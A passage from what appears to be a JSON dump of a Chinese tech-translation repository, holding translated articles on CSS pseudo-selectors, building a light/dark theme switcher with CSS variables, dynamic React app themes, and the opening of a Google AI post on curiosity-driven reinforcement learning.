伪元素选择器，我们可以将样式应用于高亮区域。\n\n```css\ndiv::selection {\n    background: yellow;\n}\n```\n\n## :root | 根元素\n\n`:root` 伪类选中文档的根元素。在 HTML 中，为 HTML 元素。在 RSS 中，则为 RSS 元素.\n\n这个伪类选择器应用于根元素，多用于存储全局 CSS 自定义属性。\n\n## :empty | 仅当元素为空时触发\n\n这个伪类选择器将选中没有任何子项的元素。该元素必须为空。如果一个元素没有空格、可见的内容、后代元素，则为空元素。\n\n```\ndiv:empty {\n    border: 2px solid orange;\n}\n\n<div></div>\n<div></div>\n<div>\n</div>\n```\n\n这个规则将应用于空的 `div` 元素。这个规则将应用于第一个和第二个 `div`，因为他们是真为空，而第三个 `div` 包含空格。\n\n## :only-child | 选择仅有的子元素\n\n匹配父元素中没有任何兄弟元素的子元素。\n\n```css\n.innerDiv p:only-child {\n    color: orangered;\n}\n```\n\n## :first-of-type | 选择第一个指定类型的子元素\n\n```css\n.innerDiv p:first-of-type {\n    color: orangered;\n}\n```\n\n这将应用于 `.innerDiv` 下的第一个 `p` 元素。\n\n```html\n<div class=\"innerDiv\">\n    <div>Div1</div>\n    <p>These are the necessary steps</p>\n    <p>hiya</p>\n    \n    <p>\n        Do <em>not</em> push the brake at the same time as the accelerator.\n    </p>\n    <div>Div2</div>\n</div>\n```\n\n这个 `p`（“These are the necessary step”）将被选中。\n\n## :last-of-type | 选择最后一个指定类型的子元素\n\n像 `:first-of-type` 一样，但是会应用于最后一个同类型的子元素。\n\n```css\n.innerDiv p:last-of-type {\n    color: orangered;\n}\n```\n\n这将应用于 `innerDiv` 下的最后一个 `p` 段落元素。\n\n```html\n<div class=\"innerDiv\">\n    <p>These are the necessary steps</p>\n    <p>hiya</p>\n    <div>Div1</div>\n    <p>\n        Do the same.\n    </p>\n    <div>Div2</div>\n</div>\n```\n\n因此，这个 `p` 元素（“Do the same”）将被选中。\n\n## :nth-of-type() | 选择特定类型的子元素\n\n这个选择器将从指定的父元素的孩子列表中选择某种类型的子元素。\n\n```css\n.innerDiv p:nth-of-type(1) {\n    color: orangered;\n}\n```\n\n## :nth-last-of-type() | 选择列表末尾中指定类型的子元素\n\n这将选择最后一个指定类型的子元素。\n\n```css\n.innerDiv p:nth-last-of-type() {\n    color: orangered;\n}\n```\n\n这将选择 `innerDiv` 列表元素中包含的最后一个段落类型子元素。\n\n```html\n<div class=\"innerDiv\">\n    <p>These are the necessary steps</p>\n    <p>hiya</p>\n    <div>Div1</div>\n    <p>\n        Do the same.\n    </p>\n    <div>Div2</div>\n</div>\n```\n\n`innerDiv` 中最后一个段落子元素 `p`（“Do the same”）将会被选中。\n\n## :link | 选择一个未访问过的超链接\n\n这个选择器应用于未被访问过的链接。常用于带有 href 属性的 `a` 锚元素。\n\n```\na:link {\n    color: orangered;\n}\n\n<a href=\"/login\">Login<a>\n```\n\n这将选中未被点击过带有 `href` 的指定界面的 `a` 锚点元素，选中的元素中的文字将会显示为橙色。\n\n## :checked | 选择一个选中的复选框\n\n这个应用于已经被选中的复选框。\n\n```css\ninput:checked {\n    border: 2px solid lightcoral;\n}\n```\n\n这个规则应用到所有被选中的复选框。\n\n## :valid | 选择一个通过验证的元素\n\n这主要用于可视化表单元素，以让用户判断是否验证通过。验证通过时，默认元素带有 `valid` 属性。\n\n```css\ninput:valid {\n    boder-color: lightsalmon;\n}\n```\n\n## :invalid | 选择一个未通过验证的元素\n\n像 `:valid` 一样，但是会应用到未通过验证的元素。\n\n```css\ninput[type=\"text\"]:invalid {\n    border-color: red;\n}\n```\n\n## :lang() | 选择指定语言的元素\n\n应用于指定了语言的元素。\n\n可以通过以下两种方式使用：\n\n```css\np:lang(fr) {\n    background: yellow;\n}\n```\n\n或者\n\n```css\np[lang|=\"fr\"] {\n    background: yellow;\n}\n\n<p lang=\"fr\">Paragraph 1</p>\n```\n\n## :not() | 对于选择取反（这是一个运算符）\n\n否定伪类选择器选中相反的。\n\n让我们看一个示例：\n\n```\n.innerDiv :not(p) {\n    color: lightcoral;\n}\n\n<div class=\"innerDiv\">\n    <p>Paragraph 1</p>\n    <p>Paragraph 2</p>\n    <div>Div 1</div>\n    <p>Paragraph 3</p>\n    <div>Div 2</div>\n</div>\n```\n\n`Div 1` 和 `Div 2` 会被选中，因为他们不是 `p` 元素。\n\n## 结论\n\n就这些了。这是全部内容。还有更多的伪选择器，但是为非标准的，因此我省略了它们。\n\n感谢！！\n\n## 引用\n\n* [CSS 权威指南 —— Eric A. Meyer、Estelle Weyl](https://www.amazon.com/CSS-Definitive-Guide-Eric-Meyer/dp/0596527330)\n\n## 了解更多\n\n[Theming React Components with CSS Variables](https://blog.bitsrc.io/theming-react-components-with-css-variables-ee52d1bb3d90)\n[11 Chrome APIs That Will Give Your Web App a Native Feel](https://blog.bitsrc.io/11-chrome-apis-that-give-your-web-app-a-native-feel-ad35ad648f09)\n[10 Useful Web APIs for 2020](https://blog.bitsrc.io/10-useful-web-apis-for-2020-8e43905cbdc5)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/css-quickies-css-variables-or-how-you-create-a-white-dark-theme-easily.md",
    "content": "> * 原文地址：[CSS Quickies: CSS Variables - Or how you create a 🌞white/🌑dark theme easily](https://dev.to/lampewebdev/css-quickies-css-variables-or-how-you-create-a-white-dark-theme-easily-1i0i)\n> * 原文作者：[lampewebdev](https://dev.to/lampewebdev)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/css-quickies-css-variables-or-how-you-create-a-white-dark-theme-easily.md](https://github.com/xitu/gold-miner/blob/master/TODO1/css-quickies-css-variables-or-how-you-create-a-white-dark-theme-easily.md)\n> * 译者：[cyz980908](https://github.com/cyz980908)\n> * 校对者：[Reaper622](https://github.com/Reaper622),[sleepingxixi](https://github.com/sleepingxixi)\n\n# CSS 小妙招：CSS 变量 —— 如何轻松创建一个🌞白色/🌑暗色主题 \n\n![lampewebdev profile image](https://res.cloudinary.com/practicaldev/image/fetch/s--4OXdDnPC--/c_imagga_scale,f_auto,fl_progressive,h_420,q_auto,w_1000/https://res.cloudinary.com/practicaldev/image/fetch/s--2-YUNNqu--/c_imagga_scale%2Cf_auto%2Cfl_progressive%2Ch_420%2Cq_auto%2Cw_1000/https://thepracticaldev.s3.amazonaws.com/i/vhv9dhjxosxtrvezecuy.png)\n\n## 什么是 CSS 小妙招?\n\n我在 Instagram 上询问我可爱的网友们：“哪些 CSS 属性会让您感到困惑？”\n\n在“CSS 小妙招”这个话题中，我将深入讲解一个 CSS 属性。这些都是网友们提问的属性。所以，如果您也有感到困惑的 CSS 属性，请在 [Instagram](https://www.instagram.com/lampewebdev/) 或者 [Twitter](https://twitter.com/lampewebdev) 下方留言给我！我有问必回。\n\n如果您还想找点乐子或者想问我些其他问题，可以来 [twitch.tv](https://www.twitch.tv/lampewebdev/) 看我直播敲代码。  \n\n## 让我们来聊聊 `自定义属性` 即 `CSS 变量`.\n\n废话不多说，我们进入主题。如果您曾经写过 CSS，并且想完美还原设计稿？或者还想在某些页面上，让你的网站有不同的填充、边距或颜色？\n\n又或许你想实现一个黑夜模式？这些都是可以实现的，但现在变得容易了。\n\n当然，如果您曾经使用过 LESS 或者 SASS，那么您就应该了解过 CSS 变量，现在它们终于得到了本地支持。😁\n\n让我们先睹为快！\n\n### 定义 CSS 变量\n\n你定义一个 CSS 变量，并在 CSS 属性前添加 `--`。让我们看些例子。\n\n```css\n:root{\n  --example-color: #ccc;\n  --example-align: left;\n  --example-shadow: 10px 10px 5px 0px rgba(0,0,0,0.75);\n}\n```\n\n您的第一个疑惑可能是：“这个 ':root' 伪类是什么？”。\n好问题！伪类 `:root` 与您使用 `html` 选择器时相同，不同之处在于 ':root' 伪类的权重更高。这意味着如果您在 `:root` 伪类中设置属性，它的优先级将大于 html 选择器。\n\n好啦，那剩下的就很简单了。自定义属性 `--example-color` 的值为 `#ccc`。当我们在例如 `background-color` 的属性上使用自定义属性，元素的背景将是浅灰色。酷吧？\n\n你可以给自定义属性，也就是 CSS 变量赋予任何你能赋予给其他 CSS 属性的值。例如，可以赋值 `left` 或者 `10px` 等等。\n\n### [](#using-css-variables)使用 CSS 变量\n\n我们已经知道如何设置 CSS 变量，现在我们需要学习如何使用它们！\n\n首先，我们需要学习 `var()` 函数。\n `var()` 可以传入两个参数。第一个参数需要是一个自定义属性。如果自定义属性是无效的，则希望有回退值。为了实现这个，您只需设置 `var()` 函数的第二个参数。让我们来看个例子。\n\n```css\n:root{\n  --example-color: #ccc;\n}\n\n.someElement {\n  background-color: var(--example-color, #d1d1d1);\n}\n```\n\n现在你们应该很容易理解了。我们将 `--example-color` 设置为 `#ccc`，然后在 `.someElement` 中使用它来作为背景颜色。 如果出了一些问题，使我们的 `--example-color` 失效了，那么我们的回退值为 `#d1d1d1`。\n\n如果您没有设置回退值，并且自定义变量无效，会发生什么情况？浏览器将像没有指定该属性一样运行，并执行其常规工作。 \n\n### 技巧与提示\n\n#### 多个回退值\n\n如果希望有多个回退值，该怎么办?你以为可以这样做：\n\n```css\n.someElement {\n  background-color: var(--first-color, --second-color, white);\n}\n```\n\n但是这是行不通的。因为 `var()` 函数会把第一个逗号后面的所有内容视为一个值。浏览器会将其认为是 `background-color: --second-color, white;`。这并不是我们想要的。\n\n想要有多个回退值，我们可以简单地在 `var()` 中调用 `var()`。例子如下：  \n\n```css\n.someElement {\n  background-color: var(--first-color, var(--second-color, white));\n}\n```\n\n现在这就得到了我们想要的结果。当 `--first-color` 和 `--second-color` 都失效时，浏览器会将背景设置为 `white`。\n\n#### [](#what-if-my-fallback-value-needs-a-comma)如果我的回退值需要逗号怎么办？\n\n例如，如果您想设置一个 `font-family`，并且需要指定一个以上的字体，该怎么办？ 回顾之前的提示，直接用就是了。我们只需要用逗号来写。所以代码应该是这样：\n\n```css\n.someElement {\n    font-family: var(--main-font, \"lucida grande\" , tahoma, Arial);\n}\n\n```\n\n在这里，我们可以看到 `var()` 函数把第一个逗号后面的所有内容视为一个值。\n\n#### [](#setting-and-getting-custom-properties-in-javascript)在 Javascript 中设置和获取自定义属性\n\n在更复杂的应用程序和网站，Javascript 将用于状态管理和渲染. 您还可以使用 Javascript 获取和设置自定义属性。你可以这样做：\n\n```js\n    const element = document.querySelector('.someElement');\n   // 获得元素的自定义属性\n    element.style.getPropertyValue(\"--first-color\");\n   // 设置元素的自定义属性\n   element.style.setProperty(\"--my-color\", \"#ccc\");\n```\n\n我们可以像任何其他属性一样获取和设置自定义属性。这还不酷吗？\n\n### 使用自定义变量实现一个主题切换器\n\n先来看看我们即将做出的成品：[预览地址](https://codepen.io/lampewebdev/pen/zYORBwe)\n\n#### HTML 代码 \n\n```html\n<div class=\"grid theme-container\">\n  <div class=\"content\">\n    <div class=\"demo\">\n      <label class=\"switch\">\n        <input type=\"checkbox\" class=\"theme-switcher\">\n        <span class=\"slider round\"></span>\n      </label>\n    </div>\n  </div>\n</div>\n```\n\n没什么特别的。\n我们将使用 CSS 的 `grid` 特性来使内容居中，这就是为什么在第一个元素上具有 `.grid` 类的原因。`.content` 和 `.demo` 类就仅仅是命名。这里的两个关键类是 `.theme-container` 和 `.theme.switcher`。\n\n#### Javascript 代码\n\n```js\nconst checkbox = document.querySelector(\".theme-switcher\");\n\ncheckbox.addEventListener(\"change\", function() {\n  const themeContainer = document.querySelector(\".theme-container\");\n  if (themeContainer && this.checked) {\n    themeContainer.classList.add(\"light\");\n  } else {\n    themeContainer.classList.remove(\"light\");\n  }\n});\n```\n\n首先，我们选择 `.theme-switcher` 输入框 和`.theme-container` 元素。  \n然后，我们将添加一个事件侦听器，它将侦听输入框内容是否发生了变化。这意味着每次单击输入时，都将运行该事件监听器的回调函数。\n在 `if` 分支当中，我们将检查是否存在 themeContainer 这个对象，以及复选框是否被选中。  \n当这个 if 为真时，我们将 `.light` 类加到 `.themeContainer` 元素上，如果它为假，我们将删除它。\n\n为什么我们要删除和添加 `.light` 类? 我们马上就会知晓。\n\n#### CSS 代码\n\n因为这段代码很长，所以我将一步一步地分解!  \n\n```css\n.grid {\n  display: grid;\n  justify-items: center;\n  align-content: center;\n  height: 100vh;\n  width: 100vw;\n}\n```\n\n首先让我们集中内容布局。我们用 CSS 的 `grid` 特性实现。我们将在另一个 CSS 小妙招中介绍 `grid` 特性！  \n\n```css\n:root {\n  /* 亮的 */\n  --c-light-background: linear-gradient(-225deg, #E3FDF5 0%, #FFE6FA 100%);\n  --c-light-checkbox: #fce100;\n  /* 暗的 */\n  --c-dark-background:linear-gradient(to bottom, rgba(255,255,255,0.15) 0%, rgba(0,0,0,0.15) 100%), radial-gradient(at top center, rgba(255,255,255,0.40) 0%, rgba(0,0,0,0.40) 120%) #989898; \n  --c-dark-checkbox: #757575;\n}\n```\n\n这里看起来有很多代码和数字，但实际上我们做的不多，我们正在准备将自定义属性用于我们的主题。`--c-dark-` 和 `--c-light-` 是我选择的自定义属性前缀。我们在此之前定义了明暗主题。对于我们的示例，我们只需要`复选框`的颜色和 `background` 属性（在我们的演示中为渐变）。  \n\n```css\n.theme-container {\n  --c-background: var(--c-dark-background);\n  --c-checkbox: var(--c-dark-checkbox);\n  background: var(--c-background);\n  background-blend-mode: multiply,multiply;\n  transition: 0.4s;\n}\n.theme-container.light {\n  --c-background: var(--c-light-background);\n  --c-checkbox: var(--c-light-checkbox);\n  background: var(--c-background);\n}\n```\n\n这是整个代码里很重要的一部分。如果你知道我们在做什么，你就会明白为什么我们要定义 `.theme-container` 这个类。我们做了什么呢？这我们使用全局自定义变量的开始。我们不想使用特定的自定义变量。我们想要的是使用全局自定义变量。这就是我们设置 `--c-background` 的原因。从现在开始，我们将只使用全局自定义变量。然后我们设置 `background`。  \n\n```css\n.demo {\n  font-size: 32px;\n}\n\n/* 开关 —— 滑块外的框 */\n.switch {\n  position: relative;\n  display: inline-block;\n  width: 60px;\n  height: 34px;\n}\n\n/* 隐藏默认的 HTML 复选框 */\n.switch .theme-switcher {\n  opacity: 0;\n  width: 0;\n  height: 0;\n}\n```\n\n这只是一些样例代码来设置我们的样式。在 `.demo` 选择器中，我们设置 `font-size` 给切换符号的大小。在 `.switch` 选择器中，`height` 和 `width` 是切换符号后面的元素的长度和宽度。\n\n```css\n/* 滑块 */\n.slider {\n  position: absolute;\n  cursor: pointer;\n  top: 0;\n  left: 0;\n  right: 0;\n  bottom: 0;\n  background-color: var(--c-checkbox);\n  transition: 0.4s;\n}\n\n.slider:before {\n  position: absolute;\n  content: \"🌑\";\n  height: 0px;\n  width: 0px;\n  left: -10px;\n  top: 16px;\n  line-height: 0px;\n  transition: 0.4s;\n}\n\n.theme-switcher:checked + .slider:before {\n  left: 4px;\n  content: \"🌞\";\n  transform: translateX(26px);\n}\n```\n\n到这里，除非你直接在 `.theme.container` 中设定了自定义属性，或者写了其他的代码，那么现在我们终于可以看到自定义属性的效果了。正如你所看到的，切换符号是简单的 Unicode 字符。这就是为什么切换开关在不同的操作系统和手机系统上看起来会不同的原因，这一点你需要注意。还需要注意的是，在 `.slider:before` 选择器中，我们使用 `left` 和 `top` 属性来移动符号。我们在 `.theme-switcher:checked + .slider:before` 中也这样做了，但只使用了 `left` 属性。  \n\n```css\n/* 圆形滑块 */\n.slider.round {\n  border-radius: 34px;\n}\n```\n\n这里的代码只是为了修改样式。为了将我们的切换开关的拐角变圆。\n\n完成了！现在，我们有了一个可扩展的主题切换器。 ✌😀\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/css-variables-dynamic-app-themes.md",
    "content": "> * 原文地址：[Dynamic App Themes with CSS Variables and JavaScript 🎨](https://itnext.io/css-variables-dynamic-app-themes-86c0db61cbbb)\n> * 原文作者：[Mike Wilcox](https://itnext.io/@mjw56?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/css-variables-dynamic-app-themes.md](https://github.com/xitu/gold-miner/blob/master/TODO1/css-variables-dynamic-app-themes.md)\n> * 译者：[CoolRice](https://github.com/CoolRice)\n> * 校对者：[Yifan Xiang](https://github.com/diliburong), [CoderMing](https://github.com/CoderMing)\n\n# CSS 变量和 JavaScript 让应用支持动态主题 🎨\n\n![](https://cdn-images-1.medium.com/max/1000/1*tZ4wAfvhrQpuzvM-pZkkmg.jpeg)\n\n大家好！在这篇文章中我准备讲一讲我在 Web 应用中创建动态主题加载器的方法。我会讲一点关于 React、Create-React-App、Portals、Sass、CSS 变量还有其它有意思的东西。如果你对此感兴趣，请继续阅读！\n\n我正在开发的应用是一个音乐应用程序，它是 Spotify 的迷你克隆版。前端代码[基于 Create-React-App](https://reactjs.org/docs/create-a-new-react-app.html#create-react-app)。添加了 [node-sass-chokidar](https://github.com/michaelwayman/node-sass-chokidar) 使得 CRA 支持 Sass。\n\n![](https://cdn-images-1.medium.com/max/800/1*eONilVt2-KF6bpIu9OxhzQ.png)\n\n集成 Sass\n\n给 CRA 添加 Sass 并不困难。我仅仅需要安装 `node-sass-chokidar` 然后在 package.json 文件添加一些脚本，这些脚本告诉 `node-sass-chokidar` 怎样去编译 Sass 文件并且在开发时能够监视文件变化以再次编译。`include-path` 标志让 `node-sass-chokidar` 知道去哪寻找通过 `@import` 引入的 Sass 文件。[这里](https://github.com/michaelwayman/node-sass-chokidar#options)有一份完整的选项清单。\n\n集成 Sass 之后，我接下来要做的是定义一个颜色列表，它会成为应用程序的基本模板。这个列表用不着非常详细，只需要有基本模板所需最少的颜色就行。接下来，我定义那些使用颜色的部分，并为它们提供了描述性的名字。有了这些变量，它们就可以应用于应用程序的各种组件，这些组件会明确应用的主题基调。\n\n![](https://cdn-images-1.medium.com/max/800/1*4J5_zY1pkslb8GWLgpVdmA.png)\n\nSass 颜色变量\n\n![](https://cdn-images-1.medium.com/max/800/1*bBXgZI-3qWHiW2k8IeoJhA.png)\n\nSass 主题变量\n\n在这里，可以看到我已经定义了一组基本颜色变量，并将它们应用于默认的 Sass 主题变量。这些主题变量会贯穿整个代码库的样式表，以将调色板应用到程序并赋予它生命！\n\n下面，我需要一种简单的方法来动态更新这些变量。这个方法就是使用 [CSS 变量](https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_variables)。\n\n![](https://cdn-images-1.medium.com/max/800/1*SgLF0GFzpFXgPZZrZkbgQg.png)\n\nCSS 变量的浏览器支持\n\nCSS 变量是一个较新的浏览器规范并且几乎 100% 浏览器支持。考虑到我正在构建的应用是一个原型程序，所以我没有过多考虑支持旧浏览器。话虽如此，还是有些人推出了一些[IE 垫片](https://github.com/luwes/css-var-shim)。\n\n就我的用例来说，我需要将 Sass 变量同步到 CSS 变量。为此，我选择了使用 [css-vars](https://github.com/malyw/css-vars) 包。\n\n![](https://cdn-images-1.medium.com/max/800/1*--j_jmZ8p1-2awwqDQleVw.png)\n\ncss-vars\n\n按照上面 `README` 中描述的那样，我大致上对我的应用做了类似的更改……\n\n![](https://cdn-images-1.medium.com/max/800/1*IzkhVzxv991uNSMBBYK1Yg.png)\n\n用 Sass 添加 CSS 变量支持\n\n准备到位后，我可以在我的样式表中使用 CSS 变量，而不是使用 Sass 变量。上面的重要一行是 `$css-vars-use-native: true;`，它告诉 css-vars 包编译的 CSS 应该编译为真正的 CSS 变量。这对于以后需要动态更新它们非常重要。\n\n下一步要在应用中添加一个 “主题选择器”。对此，我希望能有多一点乐趣并选择添加了一个隐藏的菜单。这个隐藏的菜单有一点复活节彩蛋的感觉并且更加有趣。我并不太担心正确的用户体验 — 将来我可能会把这个菜单可视化。不过现在，让我们为应用程序添加一个秘密菜单，当用户按下键盘上的某个组合键时会显示这个菜单。\n\n![](https://cdn-images-1.medium.com/max/800/1*0z13r6yik2WcRMiNoWHl8g.png)\n\nModal 容器\n\n此容器将监听 `CTRL + E` 组合键，当它监听到事件时，显示隐藏的菜单。这个 `Modal` 组件其实是一个 React Portal……\n\n![](https://cdn-images-1.medium.com/max/800/1*D3xwDmwtLh7xtP1hRyldGw.png)\n\nModal Portal\n\n模式 Portal 可以附着和脱离 `modal-root` 元素。有了它，我就可以创建 `Theme` 组件，这个组件拥有可以选择不同主题的菜单。\n\n![](https://cdn-images-1.medium.com/max/800/1*eozcDZ0mLiymtSeRlsxDLQ.png)\n\n主题组件\n\n这里，我引入了一个拥有和之前定义的变量相匹配的调色板列表。列表在选择后会全局更新应用的状态，然后调用 `updateThemeForStyle` 使用来 JavaScript 更新 CSS 变量。\n\n![](https://cdn-images-1.medium.com/max/800/1*DZ7v0KtJ41HtF7dvhEz0fQ.png)\n\n更新 CSS 变量\n\n这个函数使用所选主题的名字在 `themeOptions` 中找到选中的主题调色板，然后遍历对应调色板中的颜色属性并更新到 `html` 元素的 `style` 属性上。\n\n主题选项只是一个选项列表，它具有与 CSS 变量定义的变量相同的变量.\n\n![](https://cdn-images-1.medium.com/max/800/1*-FaRopFYzpFdf7bjX7Xv8g.png)\n\n主题选项\n\n有了所有的这些更改，主题选择器现在可以动态更新！\n\n![](https://cdn-images-1.medium.com/max/800/1*crV1ujG7TsYXjB3LRbgGdw.gif)\n\n主题选择\n\n这是动态更新主题的效果！\n\n这是我添加功能的[提交](https://github.com/mjw56/wavves/commit/7fd2210c69617c33c4244d4755f1d33770d3c57d)，完整的代码库请看[这里](https://github.com/mjw56/wavves)。\n\n你可以[在此](https://wavves-amcsxyspgk.now.sh/)尝试一下这个应用的工作版。（需要 Spotify 的高级会员）。对，如果你在应用中按下 `CTRL + e`，隐藏的主题选择模式就会显示！😄\n\n感谢阅读，祝你玩得愉快！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/curiosity-and-procrastination-in.md",
    "content": "> * 原文出自：[Google AI Blog](https://ai.googleblog.com/2018/10/curiosity-and-procrastination-in.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/curiosity-and-procrastination-in.md](https://github.com/xitu/gold-miner/blob/master/TODO1/curiosity-and-procrastination-in.md)\n> * 译者：[haiyang-tju](https://github.com/haiyang-tju)\n> * 校对者：[Mcskiller](https://github.com/Mcskiller)，[Wangalan30](https://github.com/Wangalan30)\n \n[强化学习](https://en.wikipedia.org/wiki/Reinforcement_learning)（RL）是机器学习中最活跃的研究技术之一，在这项技术中，当一个人工代理（artificial agent）做了正确的事情时会得到积极的奖励，反之则会受到消极的奖励。这种[胡萝卜加大棒](https://en.wikipedia.org/wiki/Carrot_and_stick)的方法简单而通用，比如 DeepMind 教授的 [DQN](https://deepmind.com/research/dqn/) 算法可以让它去玩老式的雅达利（Atari）游戏，可以让 [AlphaGoZero](https://deepmind.com/blog/alphago-zero-learning-scratch/) 玩古老的围棋游戏。这也是 OpenAI 如何教会它 [OpenAI-Five](https://blog.openai.com/openai-five/) 算法去玩现代电子游戏 Dota，以及 Google 如何教会机器人手臂来[抓取新物体](https://ai.googleblog.com/2018/06/scalable-deep-reinforcement-learning.html)。然而，尽管 RL 取得了成功，但要使其成为一种有效的技术仍面临许多的挑战。\n  \n标准的 RL 算法 [struggle](https://pathak22.github.io/noreward-rl/) 适用于对代理反馈稀疏的环境 —— 关键的是，这种环境在现实世界中很常见。举个例子，想象一下如何在一个迷宫般的大型超市里找到你最喜欢的奶酪。你搜索了一遍又一遍，但没有找到奶酪区域。如果你每走一步都没有得到“胡萝卜”或者“大棒”，那么你就无法判断自己是否在朝着正确的方向前进。在没有回报反馈的情况下，你如何才能不在原地打转呢？也许除了那个能够激发你走进一个不熟悉的产品区域去寻找心爱奶酪的好奇心，再没有什么能够打破这个循环了。\n  \n在论文“[基于可及性实现情景式的好奇心](https://arxiv.org/abs/1810.02274)”中 —— 这是 [Google Brain 团队](https://ai.google/research/teams/brain)、[DeepMind](https://deepmind.com/) 和 [苏黎世 ETH ](https://www.ethz.ch/en.html)之间合作的结果 —— 我们提出了一种新的情景式记忆模型，以给予 RL 奖励，这类似于在好奇心的驱使下来探索环境。由于我们不仅想让代理探索环境，而且要解决原始任务，所以我们在原始稀疏任务奖励的基础上增加了模型提供的奖励。联合奖励不再是稀疏的，这允许标准的 RL 算法可以从中得到学习。因此，我们的好奇心方法扩展了 RL 可解决的任务集。 \n\n[![](https://3.bp.blogspot.com/-wwV_MTT8NpI/W89_jWW2FjI/AAAAAAAADas/n8Yh34UlrhIHSVW5owHNqOEq52r1Pyv9gCLcBGAs/s640/image3.png)](https://3.bp.blogspot.com/-wwV_MTT8NpI/W89_jWW2FjI/AAAAAAAADas/n8Yh34UlrhIHSVW5owHNqOEq52r1Pyv9gCLcBGAs/s1600/image3.png)\n\n基于可及性实现情景式的好奇心：通过向记忆中添加观察机制，然后根据当前的观察与记忆中最相似的观察的距离来计算奖励。如果看到了在记忆中还没有出现的观察结果，代理会获得更多的奖励。\n\n我们的方法中的关键想法是把代理对环境的观察储存在情景记忆中，同时当代理获得了在记忆中还没有表现出来的观察时给予奖励，从而避免原地打转，并最终向目标摸索前行。“不在记忆中”是我们方法中比较创新的定义 —— 寻找这样的观察内容即寻找不熟悉的事物。这样一种寻找不熟悉事物的驱动条件可以将人工代理引导至一个新的位置，从而避免了它在已知圈子中徘徊，并最终帮助它摸索到目标点。正如我们稍后将讨论的，我们的方法可以使代理避免一些其它方法中容易出现的不良结果。令我们惊讶的是，这些行为与外行人口中所谓的“拖延症”有一些相似之处。 \n  \n**以前的好奇心形式**  \n尽管过去曾经有很多对好奇心进行制定的尝试[1][2][3][4]，但在本文中，我们专注于一种自然且非常流行的方法：通过基于预测的惊讶来探索好奇心（通常称为 ICM 方法），该方法在最近的论文“[通过自我监督预测的好奇心驱动探索](https://pathak22.github.io/noreward-rl/)”中进行了探讨。为了说明惊讶是如何引起好奇心的，再次考虑我们在超市寻找奶酪的例子。 \n\n[![](https://3.bp.blogspot.com/-mmkoFCNHjZo/W9ChEkHbAoI/AAAAAAAADb4/iFJYE7IRKRIg-CTxSa-ndRvmHHq5EfDUgCLcBGAs/s400/image1.jpg)](https://3.bp.blogspot.com/-mmkoFCNHjZo/W9ChEkHbAoI/AAAAAAAADb4/iFJYE7IRKRIg-CTxSa-ndRvmHHq5EfDUgCLcBGAs/s1600/image1.jpg)\n\n插图 © [Indira Pasko](https://www.behance.net/gallery/71741137/Illustration-for-an-article-in-aigoogleblogcom)，在 [CC BY-NC-ND 4.0](https://creativecommons.org/licenses/by-nc-nd/4.0/deed.en_US) 许可下使用。\n\n当你在整个市场漫步时，你试着预测未来的情况（**“现在我在肉类区域，所以我认为拐角处的部分是鱼类区域 —— 